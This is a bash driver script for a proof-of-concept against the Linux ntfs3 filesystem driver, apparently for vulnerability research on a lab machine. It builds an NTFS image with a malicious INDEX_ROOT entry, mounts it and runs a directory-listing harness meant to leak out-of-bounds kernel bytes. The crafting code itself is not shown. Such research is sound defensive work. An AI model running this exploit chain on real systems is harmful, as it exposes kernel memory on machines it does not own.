#!/usr/bin/env bash
# run.sh - end-to-end PoC driver. Run on the lab VM with ntfs3-enabled kernel.
#
# Steps:
#   1. Generate base.img with mkfs.ntfs
#   2. Patch poc.img with malicious INDEX_ROOT entry
#   3. losetup + mount -t ntfs3
#   4. Build + run harness
#
# Requires root (mount).
set -eu

cd "$(dirname "$0")"

if [[ $EUID -ne 0 ]]; then
    echo "[-] needs root for mount" >&2
    exit 1
fi

MNT=/mnt/ntfs3-poc
LOOP=""

cleanup() {
    set +e
    [[ -n "$LOOP" ]] && umount "$MNT" 2>/dev/null
    [[ -n "$LOOP" ]] && losetup -d "$LOOP" 2>/dev/null
}
trap cleanup EXIT

echo "[*] crafting PoC image"
python3 craft_poc.py

echo "[*] building harness"
cc -O2 -o harness harness.c

echo "[*] mounting via loop"
LOOP=$(losetup -fP --show poc.img)
mkdir -p "$MNT"
mount -t ntfs3 -o ro,iocharset=utf8 "$LOOP" "$MNT"

echo "[*] running getdents harness on mount root"
./harness "$MNT"

echo
echo "[*] done. malicious entry should appear with a long ~A B A B ... + OOB-bytes name."